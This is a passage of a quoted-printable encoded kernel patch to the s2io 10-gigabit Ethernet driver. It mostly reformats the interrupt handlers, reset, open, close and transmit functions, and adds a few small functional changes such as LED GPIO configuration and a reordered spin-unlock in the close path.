RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= - pci_unmap_single(nic->pdev, rxdp->Buffer0_ptr, =0A= - dev->mtu + HEADER_ETHERNET_II_802_3_SIZE +=0A= - HEADER_802_2_SIZE+HEADER_SNAP_SIZE, =0A= - PCI_DMA_FROMDEVICE);=0A= - rxOsmHandler(nic,val16,rxdp,i);=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + rxdp->Buffer0_ptr,=0A= + dev->mtu +=0A= + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE +=0A= + HEADER_SNAP_SIZE,=0A= + PCI_DMA_FROMDEVICE);=0A= + rxOsmHandler(nic, val16, rxdp, i);=0A= offset_info.offset++;=0A= - offset_info.offset %=3D (MAX_RXDS_PER_BLOCK+1);=0A= - rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr +=0A= - offset_info.offset;=0A= - nic->mac_control.rx_curr_get_info[i].offset =3D =0A= - offset_info.offset;=0A= + offset_info.offset %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + rxdp =3D=0A= + nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].offset =3D=0A= + offset_info.offset;=0A= }=0A= }=0A= }=0A= @@ -1770,20 +1834,23 @@ static void rxIntrHandler(struct s2io_ni=0A= */=0A= static void txIntrHandler(struct s2io_nic *nic)=0A= {=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)nic->bar0;=0A= - struct net_device *dev =3D (struct net_device *)nic->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + struct net_device *dev =3D (struct net_device *) nic->dev;=0A= tx_curr_get_info_t offset_info, offset_info1;=0A= - struct sk_buff *skb, *qskb;=0A= - TxD_t *txdlp; =0A= + struct sk_buff *skb;=0A= + TxD_t *txdlp;=0A= register u64 val64 =3D 0;=0A= int i;=0A= - #ifdef ARCH_PPC64=0A= - u16 j,frg_cnt;=0A= - #endif=0A= - #if DEBUG_ON=0A= + u16 j, frg_cnt;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +#if DEBUG_ON=0A= int cnt =3D 0;=0A= nic->txint_cnt++;=0A= - #endif=0A= +#endif=0A= + = =0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= =0A= /* tx_traffic_int reg is an R1 register, hence we read and write back =0A= * the samevalue in the register to clear it.=0A= @@ -1791,90 +1858,86 @@ static void txIntrHandler(struct s2io_ni=0A= val64 =3D read64(&bar0->tx_traffic_int);=0A= write64(&bar0->tx_traffic_int, val64);=0A= =0A= - for(i=3D0;iconfig.TxFIFONum;i++) {=0A= - offset_info =3D nic->mac_control.tx_curr_get_info[i];=0A= - offset_info1 =3D nic->mac_control.tx_curr_put_info[i];=0A= - txdlp =3D nic->mac_control.txdl_start[i]+=0A= - (nic->config.MaxTxDs * offset_info.offset);=0A= - while((!(txdlp->Control_1 & TXD_LIST_OWN_XENA)) &&=0A= - (offset_info.offset !=3D offset_info1.offset) &&=0A= - (txdlp->Host_Control)) {=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + offset_info =3D mac_control->tx_curr_get_info[i];=0A= + offset_info1 =3D mac_control->tx_curr_put_info[i];=0A= + txdlp =3D mac_control->txdl_start[i] +=0A= + (config->MaxTxDs * offset_info.offset);=0A= + while ((!(txdlp->Control_1 & TXD_LIST_OWN_XENA)) &&=0A= + (offset_info.offset !=3D offset_info1.offset) &&=0A= + (txdlp->Host_Control)) {=0A= /* Check for TxD errors */=0A= - if (txdlp->Control_1 & TXD_T_CODE)=0A= - printk("***TxD error %llx\n",=0A= - (txdlp->Control_1 & TXD_T_CODE));=0A= -=0A= - skb=3D(struct sk_buff *)((dmaaddr_t)txdlp->Host_Control);=0A= - if(skb =3D=3D NULL ) {=0A= - DBG_PRINT(ERR_DBG,"%s: Null skb ", dev->name);=0A= - DBG_PRINT(ERR_DBG,"in Tx Free Intr\n");=0A= + if (txdlp->Control_1 & TXD_T_CODE) {=0A= + DBG_PRINT(ERR_DBG, "***TxD error %llx\n",=0A= + (txdlp->Control_1 & TXD_T_CODE));=0A= + }=0A= +=0A= + skb =3D (struct sk_buff *) ((unsigned long)=0A= + txdlp->Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: Null skb ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "in Tx Free Intr\n");=0A= return;=0A= }=0A= nic->tx_pkt_count++;=0A= =0A= - #ifdef ARCH_PPC64=0A= frg_cnt =3D skb_shinfo(skb)->nr_frags;=0A= =0A= /* For unfragmented skb */=0A= - if(!frg_cnt)=0A= - pci_unmap_single(nic->pdev, =0A= - txdlp->Buffer_Pointer,=0A= - skb->len, PCI_DMA_TODEVICE);=0A= - else {=0A= + if (!frg_cnt) {=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + txdlp->Buffer_Pointer,=0A= + skb->len,=0A= + PCI_DMA_TODEVICE);=0A= + } else {=0A= TxD_t *txdp =3D txdlp;=0A= =0A= - pci_unmap_single(nic->pdev, =0A= - txdlp->Buffer_Pointer, =0A= - skb->len - skb->data_len, =0A= - PCI_DMA_TODEVICE);=0A= -=0A= - for(j=3D0;jfrags[j];=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + txdlp->Buffer_Pointer,=0A= + skb->len - skb->data_len,=0A= + PCI_DMA_TODEVICE);=0A= +=0A= + for (j =3D 0; j < frg_cnt; j++) {=0A= + skb_frag_t *frag =3D=0A= + &skb_shinfo(skb)->frags[j];=0A= =0A= txdp++;=0A= - pci_unmap_single (nic->pdev, =0A= - txdp->Buffer_Pointer,=0A= - frag->size, PCI_DMA_TODEVICE);=0A= + pci_unmap_single(nic->pdev,=0A= + (dma_addr_t)=0A= + txdp->=0A= + Buffer_Pointer,=0A= + frag->size,=0A= + PCI_DMA_TODEVICE);=0A= }=0A= =0A= }=0A= - #else=0A= - pci_unmap_single(nic->pdev, txdlp->Buffer_Pointer,=0A= - (skb->len) - (skb->data_len), PCI_DMA_TODEVICE);=0A= - #endif=0A= +=0A= dev_kfree_skb_irq(skb);=0A= - memset(txdlp, 0, (sizeof(TxD_t)*nic->config.MaxTxDs));=0A= + memset(txdlp, 0,=0A= + (sizeof(TxD_t) * config->MaxTxDs));=0A= /* Updating the statistics block */=0A= nic->stats.tx_packets++;=0A= nic->stats.tx_bytes +=3D skb->len;=0A= - #if DEBUG_ON=0A= - nic->txpkt_bytes +=3D skb->len; =0A= +#if DEBUG_ON=0A= + nic->txpkt_bytes +=3D skb->len;=0A= cnt++;=0A= - #endif=0A= +#endif=0A= offset_info.offset++;=0A= - offset_info.offset %=3D offset_info.fifo_len+1;=0A= - txdlp =3D nic->mac_control.txdl_start[i]+=0A= - (nic->config.MaxTxDs * offset_info.offset);=0A= - nic->mac_control.tx_curr_get_info[i].offset =3D =0A= - offset_info.offset;=0A= - }=0A= - #if DEBUG_ON=0A= - DBG_PRINT(INTR_DBG,"%s: freed %d Tx Pkts\n",dev->name,cnt);=0A= - #endif=0A= - }=0A= -=0A= -/* If a Tx PKT is being stored to be transmitted, it can be done at this=0A= - * point as a Tx complete interrupt has been raised. Which means some =0A= - * free TxDs would be available.=0A= - */=0A= - //if(nic->tx_pkt_ptr) {=0A= - //qskb =3D (struct sk_buff *)nic->tx_pkt_ptr;=0A= - if(netif_queue_stopped(dev))=0A= + offset_info.offset %=3D offset_info.fifo_len + 1;=0A= + txdlp =3D mac_control->txdl_start[i] +=0A= + (config->MaxTxDs * offset_info.offset);=0A= + mac_control->tx_curr_get_info[i].offset =3D=0A= + offset_info.offset;=0A= + }=0A= +#if DEBUG_ON=0A= + DBG_PRINT(INTR_DBG, "%s: freed %d Tx Pkts\n", dev->name,=0A= + cnt);=0A= +#endif=0A= + }=0A= +=0A= + if (netif_queue_stopped(dev))=0A= netif_wake_queue(dev);=0A= - // dev_queue_xmit(qskb); =0A= - //nic->tx_pkt_ptr =3D NULL;=0A= - //}=0A= }=0A= =0A= /* =0A= @@ -1891,52 +1954,66 @@ static void txIntrHandler(struct s2io_ni=0A= */=0A= static void alarmIntrHandler(struct s2io_nic *nic)=0A= {=0A= - struct net_device *dev =3D (struct net_device *)nic->dev;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)nic->bar0;=0A= + struct net_device *dev =3D (struct net_device *) nic->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= int quiescence_flag =3D FALSE, cnt =3D 0;=0A= register u64 val64 =3D 0;=0A= =0A= /* Handling link status change error Intr */=0A= val64 =3D read64(&bar0->mac_rmac_err_reg);=0A= - if(val64 & RMAC_LINK_STATE_CHANGE_INT) {=0A= + if (val64 & RMAC_LINK_STATE_CHANGE_INT) {=0A= val64 =3D read64(&bar0->adapter_status);=0A= - if(verify_xena_quiescence(val64, nic->device_enabled_once)=0A= - =3D=3DTRUE) {=0A= + if (verify_xena_quiescence(val64, nic->device_enabled_once)=0A= + =3D=3D TRUE) {=0A= do {=0A= val64 =3D read64(&bar0->adapter_status);=0A= - if(!(val64 &(ADAPTER_STATUS_RMAC_REMOTE_FAULT |=0A= - ADAPTER_STATUS_RMAC_LOCAL_FAULT))) {=0A= - val64 =3D read64(&bar0->adapter_control);=0A= + if (!=0A= + (val64 &=0A= + (ADAPTER_STATUS_RMAC_REMOTE_FAULT |=0A= + ADAPTER_STATUS_RMAC_LOCAL_FAULT))) {=0A= + val64 =3D=0A= + read64(&bar0->adapter_control);=0A= val64 |=3D ADAPTER_CNTL_EN;=0A= - write64(&bar0->adapter_control, val64);=0A= + write64(&bar0->adapter_control,=0A= + val64);=0A= val64 |=3D ADAPTER_LED_ON;=0A= - write64(&bar0->adapter_control, val64);=0A= - val64 =3D read64(&bar0->adapter_status);=0A= - if((val64 & =0A= - (ADAPTER_STATUS_RMAC_REMOTE_FAULT |=0A= - ADAPTER_STATUS_RMAC_LOCAL_FAULT))) {=0A= - DBG_PRINT(ERR_DBG,"%s:",=0A= - dev->name);=0A= - DBG_PRINT(ERR_DBG," Link down");=0A= - DBG_PRINT(ERR_DBG,"after ");=0A= - DBG_PRINT(ERR_DBG,"enabling ");=0A= - DBG_PRINT(ERR_DBG,"device \n");=0A= - cnt++; =0A= + write64(&bar0->adapter_control,=0A= + val64);=0A= + val64 =3D=0A= + read64(&bar0->adapter_status);=0A= + if ((val64 &=0A= + (ADAPTER_STATUS_RMAC_REMOTE_FAULT=0A= + |=0A= + ADAPTER_STATUS_RMAC_LOCAL_FAULT)))=0A= + {=0A= + DBG_PRINT(ERR_DBG, "%s:",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG,=0A= + " Link down");=0A= + DBG_PRINT(ERR_DBG,=0A= + "after ");=0A= + DBG_PRINT(ERR_DBG,=0A= + "enabling ");=0A= + DBG_PRINT(ERR_DBG,=0A= + "device \n");=0A= + cnt++;=0A= continue;=0A= }=0A= - if(nic->device_enabled_once =3D=3D FALSE) {=0A= - nic->device_enabled_once =3D TRUE;=0A= + if (nic->device_enabled_once =3D=3D=0A= + FALSE) {=0A= + nic->device_enabled_once =3D=0A= + TRUE;=0A= }=0A= s2io_link(nic, 1);=0A= break;=0A= }=0A= - cnt++; =0A= - if(cnt > 10) {=0A= + cnt++;=0A= + if (cnt > 10) {=0A= s2io_link(nic, 0);=0A= break;=0A= }=0A= mdelay(50);=0A= - }while(TRUE);=0A= + } while (TRUE);=0A= quiescence_flag =3D TRUE;=0A= }=0A= }=0A= @@ -1944,28 +2021,27 @@ static void alarmIntrHandler(struct s2io=0A= val64 =3D read64(&bar0->mac_rmac_err_reg);=0A= write64(&bar0->mac_rmac_err_reg, val64);=0A= =0A= - if(quiescence_flag =3D=3D FALSE) {=0A= - /*=0A= - * The Device could not reach quiescence state. Stopping device=0A= - * Xmit queue. This inturn will force a H/W reset in the Tx_Timeou =0A= - * function.=0A= - */=0A= - DBG_PRINT(ERR_DBG,"%s: from Link Intr, ", dev->name);=0A= - DBG_PRINT(ERR_DBG,"device is not Quiescent\n");=0A= + if (quiescence_flag =3D=3D FALSE) {=0A= + /*=0A= + * The Device could not reach quiescence state. Stopping device=0A= + * Xmit queue. This inturn will force a H/W reset in the =0A= + * Tx_Timeou function.=0A= + */=0A= + DBG_PRINT(ERR_DBG, "%s: from Link Intr, ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "device is not Quiescent\n");=0A= //netif_stop_queue(dev);=0A= - } =0A= -=0A= - #ifdef CONFIGURE_EXTENDED_ERROR_HANDLING=0A= - /* Handling SERR erros by stopping device Xmit queue and forcing =0A= + }=0A= +#ifdef CONFIGURE_EXTENDED_ERROR_HANDLING=0A= + /* Handling SERR errors by stopping device Xmit queue and forcing =0A= * a H/W reset.=0A= */=0A= val64 =3D read64(&bar0->serr_source);=0A= - if( val64 & SERR_SOURCE_ANY ) {=0A= - DBG_PRINT(ERR_DBG,"%s: Device indicates ", dev->name);=0A= - DBG_PRINT(ERR_DBG,"serious error!!\n"); =0A= + if (val64 & SERR_SOURCE_ANY) {=0A= + DBG_PRINT(ERR_DBG, "%s: Device indicates ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "serious error!!\n");=0A= netif_stop_queue(dev);=0A= }=0A= - #endif=0A= +#endif=0A= /* Other type of interrupts are not being handled now, TODO*/=0A= }=0A= =0A= @@ -1980,23 +2056,24 @@ static void alarmIntrHandler(struct s2io=0A= * to be completed and returns either success or error depending on = whether =0A= * the command was complete or not. =0A= */=0A= -int waitForCmdComplete(nic_t *sp)=0A= +int waitForCmdComplete(nic_t * sp)=0A= {=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= int ret =3D FAILURE, cnt =3D 0;=0A= u64 val64;=0A= =0A= - while(TRUE) {=0A= - val64 =3D RMAC_ADDR_CMD_MEM_RD | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= - RMAC_ADDR_CMD_MEM_OFFSET(0);=0A= - write64(&bar0->rmac_addr_cmd_mem, val64);=0A= - val64 =3D read64(&bar0->rmac_addr_cmd_mem);=0A= - if(!val64) {=0A= + while (TRUE) {=0A= + val64 =3D=0A= + RMAC_ADDR_CMD_MEM_RD | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD=0A= + | RMAC_ADDR_CMD_MEM_OFFSET(0);=0A= + write64(&bar0->rmac_addr_cmd_mem, val64);=0A= + val64 =3D read64(&bar0->rmac_addr_cmd_mem);=0A= + if (!val64) {=0A= ret =3D SUCCESS;=0A= break;=0A= }=0A= mdelay(50);=0A= - if(cnt++ > 10)=0A= + if (cnt++ > 10)=0A= break;=0A= }=0A= =0A= @@ -2014,10 +2091,12 @@ int waitForCmdComplete(nic_t *sp)=0A= * saved PCI configuration space registers as the card reset also = resets the=0A= * Configration space.=0A= */=0A= -void s2io_reset(nic_t *sp)=0A= +void s2io_reset(nic_t * sp)=0A= {=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64;=0A= + int ret;=0A= + u16 subid;=0A= =0A= val64 =3D SW_RESET_ALL;=0A= write64(&bar0->sw_reset, val64);=0A= @@ -2025,9 +2104,23 @@ void s2io_reset(nic_t *sp)=0A= =0A= /* Restore the PCI state saved during initializarion. */=0A= pci_restore_state(sp->pdev, sp->config_space);=0A= + /*Grisha */=0A= + s2io_init_pci(sp);=0A= =0A= mdelay(300);=0A= - val64 =3D read64(&bar0->xmsi_address); =0A= + val64 =3D read64(&bar0->xmsi_address);=0A= +=0A= + /* SXE-002: Configure link and activity LED to turn it off */=0A= + ret =3D=0A= + pci_read_config_word(sp->pdev, PCI_SUBSYSTEM_ID,=0A= + (u16 *) & subid);=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D read64(&bar0->gpio_control);=0A= + val64 |=3D 0x0000800000000000;=0A= + write64(&bar0->gpio_control, val64);=0A= + val64 =3D 0x0411040400000000;=0A= + write64((u64 *) ((u8 *) bar0 + 0x2700), val64);=0A= + }=0A= =0A= sp->device_enabled_once =3D FALSE;=0A= }=0A= @@ -2042,11 +2135,11 @@ void s2io_reset(nic_t *sp)=0A= * Function to set the swapper control on the card correctly depending = on the=0A= * 'endianness' of the system.=0A= */=0A= -int s2io_set_swapper(nic_t *sp)=0A= +int s2io_set_swapper(nic_t * sp)=0A= {=0A= -struct net_device *dev =3D sp->dev;=0A= -XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= -u64 val64;=0A= + struct net_device *dev =3D sp->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64;=0A= =0A= /* Set proper endian settings and verify the same by reading the PIF =0A= * Feed-back register.=0A= @@ -2055,53 +2148,47 @@ u64 val64;=0A= /* The device by default set to a big endian format, so a big endian =0A= * driver need not set anything.=0A= */=0A= -#ifdef ARCH_PPC64=0A= write64(&bar0->swapper_ctrl, 0xffffffffffffffff);=0A= - val64 =3D (=0A= - SWAPPER_CTRL_PIF_R_FE |=0A= - SWAPPER_CTRL_PIF_R_SE |=0A= - SWAPPER_CTRL_PIF_W_FE |=0A= - SWAPPER_CTRL_PIF_W_SE |=0A= - SWAPPER_CTRL_TXP_FE |=0A= - SWAPPER_CTRL_TXP_SE |=0A= - SWAPPER_CTRL_TXD_R_FE |=0A= - SWAPPER_CTRL_TXD_W_FE |=0A= - SWAPPER_CTRL_TXF_R_FE |=0A= - SWAPPER_CTRL_RXD_R_FE |=0A= - SWAPPER_CTRL_RXD_W_FE |=0A= - SWAPPER_CTRL_RXF_W_FE |=0A= - SWAPPER_CTRL_XMSI_FE |=0A= - SWAPPER_CTRL_XMSI_SE |=0A= - SWAPPER_CTRL_STATS_FE |=0A= - SWAPPER_CTRL_STATS_SE );=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= write64(&bar0->swapper_ctrl, val64);=0A= -#endif=0A= #else=0A= /* Initially we enable all bits to make it accessible by the driver,=0A= * then we selectively enable only those bits that we want to set.=0A= */=0A= write64(&bar0->swapper_ctrl, 0xffffffffffffffff);=0A= - val64 =3D ( =0A= - SWAPPER_CTRL_PIF_R_FE |=0A= - SWAPPER_CTRL_PIF_R_SE |=0A= - SWAPPER_CTRL_PIF_W_FE |=0A= - SWAPPER_CTRL_PIF_W_SE |=0A= - SWAPPER_CTRL_TXP_FE |=0A= - SWAPPER_CTRL_TXP_SE |=0A= - SWAPPER_CTRL_TXD_R_FE |=0A= - SWAPPER_CTRL_TXD_R_SE |=0A= - SWAPPER_CTRL_TXD_W_FE |=0A= - SWAPPER_CTRL_TXD_W_SE |=0A= - SWAPPER_CTRL_TXF_R_FE |=0A= - SWAPPER_CTRL_RXD_R_FE |=0A= - SWAPPER_CTRL_RXD_R_SE |=0A= - SWAPPER_CTRL_RXD_W_FE |=0A= - SWAPPER_CTRL_RXD_W_SE |=0A= - SWAPPER_CTRL_RXF_W_FE |=0A= - SWAPPER_CTRL_XMSI_FE |=0A= - SWAPPER_CTRL_XMSI_SE |=0A= - SWAPPER_CTRL_STATS_FE |=0A= - SWAPPER_CTRL_STATS_SE );=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_R_SE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXD_W_SE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_R_SE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXD_W_SE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= write64(&bar0->swapper_ctrl, val64);=0A= #endif=0A= =0A= @@ -2109,15 +2196,17 @@ u64 val64;=0A= * register.=0A= */=0A= val64 =3D read64(&bar0->pif_rd_swapper_fb);=0A= - if(val64 !=3D 0x0123456789ABCDEF) {=0A= - /* Endian settings are incorrect, calls for another dekko. */=0A= - #ifndef XENA_ARCH_64=0A= - DBG_PRINT(ERR_DBG,"%s: Endian settings are wrong, ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"feedback read %llx\n", val64);=0A= - #else=0A= - DBG_PRINT(ERR_DBG,"%s: Endian settings are wrong, ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"feedback read %lx\n", val64);=0A= - #endif=0A= + if (val64 !=3D 0x0123456789ABCDEF) {=0A= + /* Endian settings are incorrect, calls for another dekko. */=0A= +#ifndef XENA_ARCH_64=0A= + DBG_PRINT(ERR_DBG, "%s: Endian settings are wrong, ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "feedback read %llx\n", val64);=0A= +#else=0A= + DBG_PRINT(ERR_DBG, "%s: Endian settings are wrong, ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "feedback read %lx\n", val64);=0A= +#endif=0A= return FAILURE;=0A= }=0A= =0A= @@ -2140,19 +2229,24 @@ u64 val64;=0A= */=0A= int s2io_open(struct net_device *dev)=0A= {=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= - int i,ret =3D 0;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + int i, ret =3D 0;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= =0A= /* Initialize the H/W I/O registers */=0A= - if(initNic(sp) !=3D 0) {=0A= - DBG_PRINT(ERR_DBG,"%s: H/W initialization failed\n",dev->name);=0A= + if (initNic(sp) !=3D 0) {=0A= + DBG_PRINT(ERR_DBG, "%s: H/W initialization failed\n",=0A= + dev->name);=0A= return FAILURE;=0A= }=0A= =0A= /* After proper initialization of H/W, register ISR */=0A= - if(request_irq((int)sp->irq, s2io_isr, SA_SHIRQ, sp->name, dev)) {=0A= + if (request_irq((int) sp->irq, s2io_isr, SA_SHIRQ, sp->name, dev)) {=0A= s2io_reset(sp);=0A= - DBG_PRINT(ERR_DBG,"%s: ISR registration failed\n",dev->name);=0A= + DBG_PRINT(ERR_DBG, "%s: ISR registration failed\n",=0A= + dev->name);=0A= return FAILURE;=0A= }=0A= =0A= @@ -2162,38 +2256,36 @@ int s2io_open(struct net_device *dev)=0A= /* Initializing the Rx buffers. For now we are considering only 1 Rx = ring=0A= * and initializing buffers into 1016 RxDs or 8 Rx blocks=0A= */=0A= - for(i=3D0; iconfig.RxRingNum; i++) {=0A= - /* =0A= - * Since Interrupts are not yet initialized, no threat of multiple =0A= - * calls to fill_rx_buffers function by tasklets and interrupts. Thus=0A= - * no need to hold a spin lock here.=0A= - */=0A= - if((ret =3D fill_rx_buffers(sp,i))) {=0A= - DBG_PRINT(ERR_DBG,"%s: Out of memory in Open\n",=0A= - dev->name);=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + if ((ret =3D fill_rx_buffers(sp, i))) {=0A= + DBG_PRINT(ERR_DBG, "%s: Out of memory in Open\n",=0A= + dev->name);=0A= s2io_reset(sp);=0A= - free_irq(dev->irq,dev);=0A= + free_irq(dev->irq, dev);=0A= freeRxBuffers(sp);=0A= return -ENOMEM;=0A= }=0A= - DBG_PRINT(INFO_DBG,"Buf in ring:%d is %d:\n",i, =0A= - atomic_read(&sp->rx_bufs_left[i]));=0A= + DBG_PRINT(INFO_DBG, "Buf in ring:%d is %d:\n", i,=0A= + atomic_read(&sp->rx_bufs_left[i]));=0A= }=0A= =0A= /* Enable tasklet for the device */=0A= - tasklet_init(&sp->task, s2io_tasklet, (unsigned long)dev);=0A= + tasklet_init(&sp->task, s2io_tasklet, (unsigned long) dev);=0A= =0A= /* Enable Rx Traffic and interrupts on the NIC */=0A= - if(startNic(sp)) {=0A= - DBG_PRINT(ERR_DBG,"%s: Starting NIC failed\n",dev->name);=0A= + if (startNic(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Starting NIC failed\n", dev->name);=0A= tasklet_kill(&sp->task);=0A= s2io_reset(sp);=0A= - free_irq(dev->irq,dev);=0A= + free_irq(dev->irq, dev);=0A= freeRxBuffers(sp);=0A= return FAILURE;=0A= }=0A= =0A= - sp->device_close_flag =3D FALSE; /* Device is up and running. */=0A= + sp->device_close_flag =3D FALSE; /* Device is up and running. */=0A= netif_start_queue(dev);=0A= //MOD_INC_USE_COUNT;=0A= =0A= @@ -2214,10 +2306,10 @@ int s2io_open(struct net_device *dev)=0A= */=0A= int s2io_close(struct net_device *dev)=0A= {=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= register u64 val64 =3D 0;=0A= - u16 cnt=3D0;=0A= + u16 cnt =3D 0;=0A= =0A= spin_lock(&sp->isr_lock);=0A= netif_stop_queue(dev);=0A= @@ -2225,8 +2317,10 @@ int s2io_close(struct net_device *dev)=0A= /* disable Tx and Rx traffic on the NIC */=0A= stopNic(sp);=0A= =0A= + spin_unlock(&sp->isr_lock);=0A= +=0A= /* If the device tasklet is running, wait till its done before killing = it */=0A= - while(atomic_read(&(sp->tasklet_status))) {=0A= + while (atomic_read(&(sp->tasklet_status))) {=0A= mdelay(100);=0A= }=0A= tasklet_kill(&sp->task);=0A= @@ -2234,27 +2328,31 @@ int s2io_close(struct net_device *dev)=0A= /* Check if the device is Quiescent and then Reset the NIC */=0A= do {=0A= val64 =3D read64(&bar0->adapter_status);=0A= - if(verify_xena_quiescence(val64, sp->device_enabled_once) =0A= - =3D=3D TRUE) { =0A= + if (verify_xena_quiescence(val64, sp->device_enabled_once)=0A= + =3D=3D TRUE) {=0A= break;=0A= }=0A= mdelay(50);=0A= cnt++;=0A= - if(cnt =3D=3D 10) {=0A= - #ifdef XENA_ARCH_64=0A= - DBG_PRINT(ERR_DBG,"s2io_close:Device not Quiescent ");=0A= - DBG_PRINT(ERR_DBG,"adaper status reads 0x%lx\n",val64);=0A= - #else=0A= - DBG_PRINT(ERR_DBG,"s2io_close:Device not Quiescent ");=0A= - DBG_PRINT(ERR_DBG,"adaper status reads 0x%llx\n",val64);=0A= - #endif=0A= + if (cnt =3D=3D 10) {=0A= +#ifdef XENA_ARCH_64=0A= + DBG_PRINT(ERR_DBG,=0A= + "s2io_close:Device not Quiescent ");=0A= + DBG_PRINT(ERR_DBG, "adaper status reads 0x%lx\n",=0A= + val64);=0A= +#else=0A= + DBG_PRINT(ERR_DBG,=0A= + "s2io_close:Device not Quiescent ");=0A= + DBG_PRINT(ERR_DBG, "adaper status reads 0x%llx\n",=0A= + val64);=0A= +#endif=0A= break;=0A= }=0A= - }while(1);=0A= + } while (1);=0A= s2io_reset(sp);=0A= - =0A= +=0A= /* Free the Registered IRQ */=0A= - free_irq(dev->irq,dev);=0A= + free_irq(dev->irq, dev);=0A= =0A= /* Free all Tx Buffers waiting for transmission */=0A= freeTxBuffers(sp);=0A= @@ -2262,10 +2360,9 @@ int s2io_close(struct net_device *dev)=0A= /* Free all Rx buffers allocated by host */=0A= freeRxBuffers(sp);=0A= =0A= - sp->device_close_flag =3D TRUE; /* Device is shut down. */=0A= + sp->device_close_flag =3D TRUE; /* Device is shut down. */=0A= //MOD_DEC_USE_COUNT;=0A= =0A= - spin_unlock(&sp->isr_lock);=0A= return SUCCESS;=0A= }=0A= =0A= @@ -2283,117 +2380,115 @@ int s2io_close(struct net_device *dev)=0A= */=0A= int s2io_xmit(struct sk_buff *skb, struct net_device *dev)=0A= {=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= - u16 off,txd_len,frg_cnt,frg_len,i,queue,off1;=0A= - register u64 val64;=0A= - TxD_t *txdp;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + u16 off, txd_len, frg_cnt, frg_len, i, queue, off1;=0A= + register u64 val64;=0A= + TxD_t *txdp;=0A= TxFIFO_element_t *tx_fifo;=0A= - #ifdef NETIF_F_TSO=0A= +#ifdef NETIF_F_TSO=0A= int mss;=0A= - #endif=0A= +#endif=0A= + mac_info_t *mac_control;=0A= + struct 